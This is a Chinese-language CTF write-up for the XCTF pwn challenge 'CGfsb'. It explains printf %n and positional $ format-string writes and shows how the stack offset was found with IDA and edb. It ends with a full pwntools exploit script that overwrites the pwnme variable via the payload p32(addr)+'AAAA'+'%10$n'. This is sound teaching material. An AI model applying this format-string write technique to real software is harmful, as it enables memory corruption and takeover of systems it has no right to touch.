CGfsb
这里补充一下%n是代表向参数赋值打印的字符个数
例如printf("AAAA%n",&a);
代表的是向a写入4
printf("AAAA%1n", &argu1)
代表的是将打印字符的个数值写入参数1中.
printf("AAAA%2$n", &argu1, &argu2, &argu3......)
使用'$'符号来进行参数的选择
代表的是将打印字符的个数写入参数2对应的地址内存中.
来看一点实际的吧:

a储存的时b的一个地址,将打印个数写入到第二个参数对应指向的内存中

实现了.
在堆栈中.printf中格式化字符窜'%p' 会打印第一个参数对应的值
可以使用%p来计算偏移. 这里对于新手可能不太直观,我就使用edb调试给大家看
咱们来看一下题:

检查一下保护

使用ida打开分析:

逻辑是,怎样使用pwnme = 8即可.
找到pwnme的地址

记录一下地址,开始使用edb调试分析.按F9直接进入main函数

输入一些%p打印第一个参数的内容,找偏移

跟进printf中:

打印出

打印的值为第一个参数和第二第三参数的值,查看堆栈窗口.找一下偏移

从ff83b2de到44434241有9偏移,而个数是从1计数的所以偏移为10.
在这里,我们只需想法设法把ff83b2e8里对应的值该为目标对应修改地址,然而第二次输入时直接输入即可 p32(pwnme addr)
然后再调一下打印个数即可修改对目标pwnme值进行修改
即payload = p32(pwnme addr) + '%10$'
有人可能会问,为啥把地址写在前面,因为输入的地方就离printf第一个参数偏移位10的地方,地址就直接写在那就行了,其实你也可以写在后面,那得重新计算偏移即可
重新调试:输入偏移为10

直接运行结束,因为0x44434241地址不可写入

我们将该值在堆栈里修改一下,为0x 0804a068


运行一下:

成功将pwnme值修改为4
好开始利用漏洞,exp
#! bin/python
from pwn import *
sh = process("./CGfsb")
sh = remote("111.198.29.45",36339)
sh.recvuntil("please tell me your name:\n")
payload = 'Logan'
sh.sendline(payload)
sh.recvuntil("leave your message please:\n")
addr = 0x0804A068 # addr of pwnme
payload = p32(addr) +'AAAA'+ '%10$n'
sh.sendline(payload)
sh.interactive()
#sh.close()
可能有人会问,为啥要填充4个A? 因为p32(addr)占4个字节,若想让pwnme等于8,那还差4个字节,随便填充4个字节就好了
CGfsb的更多相关文章
- day-4 xctf-pwn CGfsb
xctf-pwn CGfsb 传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id= ...
- 攻防世界 | CGfsb
所以题目要求是输入生日1926l
- 攻防世界pwn之新手区
涉及的工具有 Ubuntu 16.04 pwntools IDA gdb-peda 1.get_shell 连接就给flag,可以直接用nc连接,然后输入ls查看里面的目录,发现有名字叫flag文件, ...
- 攻防世界新手区pwn writeup
CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...
- 【pwn】攻防世界 pwn新手区wp
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...
随机推荐
- sqlserver通过select查询出连续的日历临时表
首先我们需要用到这个 select * FROM master..spt_values n WHERE n.type = 'p' AND n.number <= 7 里面分几个列,我们需要连续的 ...
- 阶段1 语言基础+高级_1-3-Java语言高级_06-File类与IO流_07 缓冲流_7_练习_对文本的内容进行排序
出师表,按照12345678进行排序 使用Map集合进行排序 把内容都写到一行里面去了
- element-ui走马灯如何实现图片自适应 长度和高度 自适应屏幕大小
最近写用vue2.0写一个项目,用到了走马灯效果,由于项目赶时间,想偷下懒,第一次引用了element组件(纯JS也可以写的出来,赶时间嘛,懂得....),结果用了发现一个问题,element的组件( ...
- hadoop 与 hbase 添加开机启动,按顺序,先hadoop,后hbase,开机启动脚本,hbase学习
hadoop安装,hbase单机安装,参考链接,https://blog.csdn.net/LiuHuan_study/article/details/84347262 开机启动脚本,参考, http ...
- Visual Studio格式化所有文档
1.下载 Format All Files 2. 格式化指定类型的文件 说明: Enable Remove and Sort Usings:移除未使用过的引用+排序引用 Exclusion Patte ...
- Charls
1.连接设备 charles--proxy--proxy setting 设置端口号 charles--proxy--ssl proxy setting 设置代理域名 [pc端] charles--p ...
- SSM003/构建Maven单模块项目(二)
一.Controller基础代码(mooc) 1.UserController.java /** *springmvc1-2:返回jsp页面 * 请求URL: /user/getUserById?us ...
- SSM001/构建maven多模块项目
一.Idea构建maven多模块项目 1.创建maven项目--创建父模块 [1].File->New->Module... [2].点击next,填写:GroupId,ArtifactI ...
- 简述移动端与PC端的区别
1.移动端与PC端的区别 PC考虑的是浏览器的兼容性,而移动端开发考虑的更多的是手机兼容性,因为目前不管是android手机还是ios手机,一般浏览器使用的都是webkit内核,所以说做移动端开发,更 ...
- Java第四周编程总结
第四周编程总结 1.写一个名为Rectangle的类表示矩形.其属性包括宽width.高height和颜色color,width和height都是double型的,而color则是String类型的. ...